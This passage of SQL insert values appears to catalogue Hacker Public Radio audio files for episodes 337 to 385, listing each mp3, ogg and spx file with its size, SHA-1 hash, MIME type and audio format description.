(337,'hpr0337.ogg','ogg',24500358,'500787daf2dadc81bda3d5445582a2f1d9c7812a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(337,'hpr0337.spx','spx',7169149,'d547d2a62a52d0559343a7a74cde97abc677de39','application/ogg; charset=binary','Ogg data, Speex audio'),
(338,'hpr0338.mp3','mp3',11683440,'3ad66d30ab0b8a29ddcabf8ec79e96e5e6610802','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(338,'hpr0338.ogg','ogg',10406300,'4b072d8263fb1993f29ccd60c1a809c6fee2211c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(338,'hpr0338.spx','spx',4292212,'c8ed1438eb3c061ed1de3d47be7e819ad8abbcc4','application/ogg; charset=binary','Ogg data, Speex audio'),
(339,'hpr0339.mp3','mp3',14142901,'52f416229aa49af09bd2191a20f8dfeb1db15f18','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(339,'hpr0339.ogg','ogg',10411379,'b93e9971e29b724d8a28de5e87b5437c0bfc0902','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(339,'hpr0339.spx','spx',3247429,'53fa063e3ea37468f47ce83601e2a529dc5f2a30','application/ogg; charset=binary','Ogg data, Speex audio'),
(340,'hpr0340.mp3','mp3',9336270,'d34c87e94fdd433b47423178eacc96e2c3ff19c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(340,'hpr0340.ogg','ogg',6397769,'c0037084e77c9f7937fd0889c988b7d6e2ea5370','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(340,'hpr0340.spx','spx',2143622,'c3788ccb3b03d47a8f490a3271c34d85c4306ef8','application/ogg; charset=binary','Ogg data, Speex audio'),
(341,'hpr0341.mp3','mp3',27663391,'521abdd453cc96ec974490f17ca76b2905444411','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(341,'hpr0341.ogg','ogg',28965033,'f34b1303fcf217cac2f81b5eb10d52b9e3d51d39','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(341,'hpr0341.spx','spx',10029772,'7d521a0d12481ac00435bae6075111b0d953ac7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(342,'hpr0342.mp3','mp3',37028723,'63cd23af49a99af8f169bdc0faf46995ff4ae9ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(342,'hpr0342.ogg','ogg',39424621,'0d4ddf5bba846702b5f2628abe8fb97f6c070685','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(342,'hpr0342.spx','spx',13599435,'4a30cd4be0367b29ccd195ebb575b5e9154c4d7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(343,'hpr0343.mp3','mp3',41525258,'811c206f06594a34d8a05829b913045eea4817bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(343,'hpr0343.ogg','ogg',18995406,'f2a7cb46bdc3e2acece9eea0152eb6827e620a6d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(343,'hpr0343.spx','spx',9534566,'672ae631edd0ea2cdb1e168d7d0b5b4723b08e29','application/ogg; charset=binary','Ogg data, Speex audio'),
(344,'hpr0344.mp3','mp3',108529137,'99fd7d25c42fd8d82b316f87da5643f19cbdc4c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(344,'hpr0344.ogg','ogg',36862872,'b25833b6d6b5c9722e58cedf19ea1b57ded000ea','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(344,'hpr0344.spx','spx',24919015,'1bc668e1857361390ad8c4f917a78a294236eccd','application/ogg; charset=binary','Ogg data, Speex audio'),
(345,'hpr0345.mp3','mp3',6964866,'d68b287cf557f39616e8fcf4a608a8334c468d05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, JntStereo'),
(345,'hpr0345.ogg','ogg',7821495,'fd26bfb64d951ac84c6efdba44b670c63c169d05','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(345,'hpr0345.spx','spx',3303844,'1351499beb4a82cc35be610184672a79a7f9d2e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(346,'hpr0346.mp3','mp3',48781245,'af31e8a57f5fdefa0862cbdbb78f0c61f1bb0fc4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(346,'hpr0346.ogg','ogg',39483650,'70cf239bc2bbe3e93a2e9b965c9ab643aac6480e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(346,'hpr0346.spx','spx',22400905,'603f59fe327b31190cc1ffb070605fe176d7daa3','application/ogg; charset=binary','Ogg data, Speex audio'),
(347,'hpr0347.mp3','mp3',3070643,'f43813077bc559b0ed5360dac8a7154cfad8163b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(347,'hpr0347.ogg','ogg',4401344,'5dc1077fc17361883ab74223b19b91eecb7fcbd8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(347,'hpr0347.spx','spx',1409773,'00d36f282fc53ba04fb81a01992586597bbb6e9e','application/ogg; charset=binary','Ogg data, Speex audio'),
(348,'hpr0348.mp3','mp3',17951454,'a16ad7e19658683b2c574dd359c6b901d74578f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(348,'hpr0348.ogg','ogg',20634849,'27144f23a3ccf67cab505f7466f78d960650442c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(348,'hpr0348.spx','spx',6592765,'80b102d401392633704df1cbcfd8ac203f9d10b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(349,'hpr0349.mp3','mp3',12181632,'a99be2189828b207558a909ed008496de6ab65d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(349,'hpr0349.ogg','ogg',6541181,'082ded08e438c66745f58a3f19bfed7c745318d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(349,'hpr0349.spx','spx',5440398,'72439160579464a836b8cb6fb95117ba97310fbe','application/ogg; charset=binary','Ogg data, Speex audio'),
(350,'hpr0350.mp3','mp3',16954454,'330c2729ee9f7e235ba9893d078bdafaaf0e2213','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(350,'hpr0350.ogg','ogg',19488729,'fc8146e43a4685ac7746bbaba55f77652a0942d4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(350,'hpr0350.spx','spx',6226922,'c0dfb32fafce771bbee8efdb596649ff2486ebee','application/ogg; charset=binary','Ogg data, Speex audio'),
(351,'hpr0351.mp3','mp3',8501080,'645ae3a19166ef96366fc95d58900052c6d0a609','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(351,'hpr0351.ogg','ogg',7811640,'253798abfbc270c1432f20c34000fcf2c95e41a1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(351,'hpr0351.spx','spx',3123103,'b3c29af8e1c2cc373100355d2ee9c7c2ec787a1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(352,'hpr0352.mp3','mp3',17331309,'5f6152f33cd4a3333ec2b108e0eedcfd7753b1e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(352,'hpr0352.ogg','ogg',12819604,'3ca1dcd1c5025608d14f7aac30b69d14670ea1e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(352,'hpr0352.spx','spx',7740390,'c4bc3f38a94045e428663f39391f29b91b42d304','application/ogg; charset=binary','Ogg data, Speex audio'),
(353,'hpr0353.mp3','mp3',56455178,'74af60b8178e9eef0440107960b1cfd1ee50bd6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(353,'hpr0353.ogg','ogg',31201211,'91f746457fd8d45ce4be44ae45d71125d6267b4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(353,'hpr0353.spx','spx',12606888,'b57abc75e0458dc93914870fadcbab29c43a1cd4','application/ogg; charset=binary','Ogg data, Speex audio'),
(354,'hpr0354.mp3','mp3',11633729,'9967d79643263663cce1d025b0ea7b451c4b1a15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(354,'hpr0354.ogg','ogg',7691882,'b29361e6c994727ebebf8d4984cb0c1642983060','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(354,'hpr0354.spx','spx',2671091,'840298e84399afa446330ef36bf56ea0a15adce2','application/ogg; charset=binary','Ogg data, Speex audio'),
(355,'hpr0355.mp3','mp3',9029192,'5a4cb2bf0348a605947f8130e2b649af7c7d2c16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(355,'hpr0355.ogg','ogg',7832914,'500494ef0d2491fe8028bb46ab19322778428cba','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(355,'hpr0355.spx','spx',2703500,'ccd457a014bf1b5c5ee63099e083e7e517434804','application/ogg; charset=binary','Ogg data, Speex audio'),
(356,'hpr0356.mp3','mp3',28592117,'26fb3564457356e531d39a82ff48966ab4d94b55','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(356,'hpr0356.ogg','ogg',16707230,'6564c09ef36b7e8fd8857594c28b866ad0b3de6b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(356,'hpr0356.spx','spx',6563741,'4978b0fae3cb2645ecd5b45a047c2aa5fcdd2a79','application/ogg; charset=binary','Ogg data, Speex audio'),
(357,'hpr0357.mp3','mp3',12000960,'ef006131a00306c923b0924ff8d22b751dc7ad07','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(357,'hpr0357.ogg','ogg',10966426,'85afcf1dc30f3d2b0bd69a58297217d5b0450bca','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(357,'hpr0357.spx','spx',4408892,'87ab07c039e9475e7936ccac7c37946ffad9320f','application/ogg; charset=binary','Ogg data, Speex audio'),
(358,'hpr0358.mp3','mp3',52131634,'ad88e585db0c75fb9715b010a731281ce13ded38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(358,'hpr0358.ogg','ogg',59585920,'a05b94da81d3bf2c7ddd52c71cef66abdd38eb6f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(358,'hpr0358.spx','spx',19145880,'daee1b71db7797c6d3586652e7a448ca5e8e603f','application/ogg; charset=binary','Ogg data, Speex audio'),
(359,'hpr0359.mp3','mp3',37324746,'69954017a82c982f307590ffc6f28fd1e8d17c79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(359,'hpr0359.ogg','ogg',50102132,'b7d31fb7ec386ade0eb16f4cb13de8747b77c6e3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(359,'hpr0359.spx','spx',17139974,'798d0157f620a99f07b0626c2e7def8e2ed02982','application/ogg; charset=binary','Ogg data, Speex audio'),
(360,'hpr0360.mp3','mp3',16454740,'c5ff1342e1c184163953dad1dd1fb740b76ae94d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(360,'hpr0360.ogg','ogg',19649144,'62045f36e811c7725b9d978e6dfac7d2479bd034','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(360,'hpr0360.spx','spx',6043380,'68e7def5ed76d3aecd34c69d33d34a67dd027f18','application/ogg; charset=binary','Ogg data, Speex audio'),
(361,'hpr0361.mp3','mp3',22395909,'2a5ccee41c1a9ced61447982fde6501ba8917f2c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(361,'hpr0361.ogg','ogg',29987624,'1be678c4fb4958e3b20e34b1ad7032d8b986dc2e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(361,'hpr0361.spx','spx',10284510,'c1ebe128732b2ac8fd99e4c1663a12c5c9c6d031','application/ogg; charset=binary','Ogg data, Speex audio'),
(362,'hpr0362.mp3','mp3',63149604,'61fd3539f0c484b7b0d91dd23383c2ab99e38ee6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(362,'hpr0362.ogg','ogg',78867025,'90f4e5e4f526c4120f1048652c596b262d0485ba','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(362,'hpr0362.spx','spx',23192656,'5417feebeac79ec362bf66acc8bc59675807be7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(363,'hpr0363.mp3','mp3',14601240,'1741100f1d377b83a43a6daa95abdeab6f75d0ae','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, JntStereo'),
(363,'hpr0363.ogg','ogg',12992770,'e0ccd9cf149fe063a9f3c8fd66ee46acb9dc02ec','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(363,'hpr0363.spx','spx',5364121,'e52065d2fdcad461d10d5f06318a6e44520c2d91','application/ogg; charset=binary','Ogg data, Speex audio'),
(364,'hpr0364.mp3','mp3',30755183,'ec5421168417ee8ab36c50af4592456084d7627b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(364,'hpr0364.ogg','ogg',31242865,'0965b4964c7c4efe765004e8e2e38530fa5c6967','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(364,'hpr0364.spx','spx',11298590,'ca5e95f8ebbc1a0362e92f9f8c375761528a6281','application/ogg; charset=binary','Ogg data, Speex audio'),
(365,'hpr0365.mp3','mp3',19546186,'806916b6420974c3b7ce7939fb379832a4f8ef57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Monaural'),
(365,'hpr0365.ogg','ogg',10609889,'2478e9096fa62dfd1c1fe376ea756f7f185e0690','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(365,'hpr0365.spx','spx',8729588,'2a512cba4589bf5f837ca74c8bd95b94cb6e829d','application/ogg; charset=binary','Ogg data, Speex audio'),
(366,'hpr0366.mp3','mp3',41122081,'44ce076b93b3acc51f82b4dca3072a644cf77954','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(366,'hpr0366.ogg','ogg',60526819,'7d9639acbe66b3f416024762aacec16ddc3b6889','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(366,'hpr0366.spx','spx',18883788,'bdec5e6f6c90daab77f0511bf8f44f1aef536f8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(367,'hpr0367.mp3','mp3',3255435,'515c4fad8a99c15b2960aab3486f9bc0a2719638','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(367,'hpr0367.ogg','ogg',4219445,'1b444c758c8b375d41cbb3bee62ea1be56379933','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(367,'hpr0367.spx','spx',1494993,'961d91e27f844ae53df8d18bb9f871acc2185be4','application/ogg; charset=binary','Ogg data, Speex audio'),
(368,'hpr0368.mp3','mp3',34795077,'784f51b933d6c3e06fd1d9e9849bb55a8e8ad3a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(368,'hpr0368.ogg','ogg',43575790,'e1af55921e65177881e644e72a6a0f9e57eb408a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(368,'hpr0368.spx','spx',15978365,'bc9948ea2d81c68564795a4b9cd3c2c72f1a68e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(369,'hpr0369.mp3','mp3',49407116,'44ff3d556a0cbfa66f10966913f99233c3453e1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(369,'hpr0369.ogg','ogg',82723652,'569850d1d6a11da490dded45f8a388212f12a292','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(369,'hpr0369.spx','spx',22688344,'26b9381113c8559419292d4031cdce4e80ffff0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(370,'hpr0370.mp3','mp3',17554465,'5550bb5aa018070b5c89feda0eda03575d908e68','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(370,'hpr0370.ogg','ogg',19211780,'4a13c2abeefc847240e99d30982c2bc6a9bd134c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(370,'hpr0370.spx','spx',6449032,'56f2c5f2f8c916ae48fb72a33ce7984e664d04cf','application/ogg; charset=binary','Ogg data, Speex audio'),
(371,'hpr0371.mp3','mp3',42154316,'57e50b9898a2042f0cd3e485b21ff2fa62adb883','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(371,'hpr0371.ogg','ogg',52569778,'ffb3ed5809cd1f425e7017e4f133f829d6dddc67','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(371,'hpr0371.spx','spx',19357789,'b3506706d0b01d631049e6258ab5a4c25a3e7845','application/ogg; charset=binary','Ogg data, Speex audio'),
(372,'hpr0372.mp3','mp3',2244225,'bfb356e7d434c7e1cfe1253e3f33a52137a5aa4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(372,'hpr0372.ogg','ogg',3004206,'19dc0b32aa67420211646e901e2d90a1cb5a4619','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(372,'hpr0372.spx','spx',1030663,'30c1dd0144d01b6f9b3cceb0aa8e4c3d1026bce9','application/ogg; charset=binary','Ogg data, Speex audio'),
(373,'hpr0373.mp3','mp3',12894752,'52f3f5e771954cd2915103c6e74ef6a0cfba0942','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(373,'hpr0373.ogg','ogg',16472643,'7c361c5bc29306162dc7df34414e2d7a8ca3cc12','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(373,'hpr0373.spx','spx',4737189,'a02e7bf61b31695e22029cd3d2324ed4946bfcad','application/ogg; charset=binary','Ogg data, Speex audio'),
(374,'hpr0374.mp3','mp3',45740254,'bf59e8943622ba144b4fb5768fecb19837d8a91d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(374,'hpr0374.ogg','ogg',45081910,'0b59d0a788346b5b8c85d8b0e440436a8b73486e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(374,'hpr0374.spx','spx',16803328,'6e5159ff35e40056896be67defe952d1959d7fa4','application/ogg; charset=binary','Ogg data, Speex audio'),
(375,'hpr0375.mp3','mp3',13036045,'7766f09a49dd169e7672a117c0799e54331f6627','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(375,'hpr0375.ogg','ogg',10776316,'bcfee4937e663e8fd1b283e89620478e7168885e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(375,'hpr0375.spx','spx',2993129,'7dc6e767e2c2be781b9353926b8c90109b85f48c','application/ogg; charset=binary','Ogg data, Speex audio'),
(376,'hpr0376.mp3','mp3',13931521,'708eebe715e034f97a19c860e476c10634640208','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(376,'hpr0376.ogg','ogg',10353378,'fb52d4d245ae8264c942aa2b85015be7ef35fdcd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(376,'hpr0376.spx','spx',6397243,'8833f4a2fb9d008f00af3b0ace8079c6707cc4e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(377,'hpr0377.mp3','mp3',28470135,'cd46baf2c0f17c3932a9f0af77fe65aec20e8042','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(377,'hpr0377.ogg','ogg',33580541,'e0c1b24865804a8c0708a408396041a49bef15e7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(377,'hpr0377.spx','spx',13073864,'a2cfc00cc500ff6a52e7823db18e5a37a6ed4fe5','application/ogg; charset=binary','Ogg data, Speex audio'),
(378,'hpr0378.mp3','mp3',6019037,'49b5ce132d52e55d43aedeaae867596a9cc32da6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(378,'hpr0378.ogg','ogg',4875575,'a0102def577d50a1855f8bda451d783ea2ddae88','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(378,'hpr0378.spx','spx',2469822,'3580c8bc3fbb04438342377e5b9ca67973841f9b','application/ogg; charset=binary','Ogg data, Speex audio'),
(379,'hpr0379.mp3','mp3',13239748,'92fd14f5a4bc4d469eab983dfbd4f167a5122633','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(379,'hpr0379.ogg','ogg',12372220,'81c9e2297ecf18b180737b02804d99eb712abc38','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(379,'hpr0379.spx','spx',4863705,'01fbf3a7220430217324a745749d9095a27526aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(380,'hpr0380.mp3','mp3',6976294,'98d6db43ff8d679ef6fdf01b2f1ce0a872838eb3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(380,'hpr0380.ogg','ogg',2763811,'907ac9e098583ab8823da2305704ee4bb4a5e06f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(380,'hpr0380.spx','spx',1601910,'9cc28d23505dea3933d1d11ee0d966bb653ef0a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(381,'hpr0381.mp3','mp3',58725982,'aad35765ec8d497e13c8d83c4de4a95d7094ea62','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(381,'hpr0381.ogg','ogg',43763935,'97908a0384fee2550b09637187f7a686050c94ed','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(381,'hpr0381.spx','spx',26967677,'e684185364a0a42cdae847666216e87c4e25f4e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(382,'hpr0382.mp3','mp3',44457642,'293038d118f5d8593e407026b134f7306a916c46','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(382,'hpr0382.ogg','ogg',41659777,'bfefdc53eaa2cbe777d3f47c79d6ad1285df6c4e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(382,'hpr0382.spx','spx',16332128,'c5b864d927c2d28009026d7a43b829a1f20dda0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(383,'hpr0383.mp3','mp3',13174180,'c60f1e0a06e0cb1b90e0bec385586592513ccbe1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(383,'hpr0383.ogg','ogg',9076631,'55fffbae329e07bd919d4abae720678d883d9df0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(383,'hpr0383.spx','spx',3456902,'49cadab9d49aca0726e6ea30e1cc2d0778e90e5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(384,'hpr0384.mp3','mp3',11100057,'57e4b71ad73be2dddc04b5399f83809c0644b04a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(384,'hpr0384.ogg','ogg',5509357,'2a44f5c011778a4619a4a72ac37c7ca945e4630f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(384,'hpr0384.spx','spx',2548617,'c8974f58e6952c374e49cce3ab1a6071b1fd17b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(385,'hpr0385.mp3','mp3',11563385,'560039f472e5807654f7e3ba2ab044eff0489f95','application/octet-stream; charset=binary','data'),
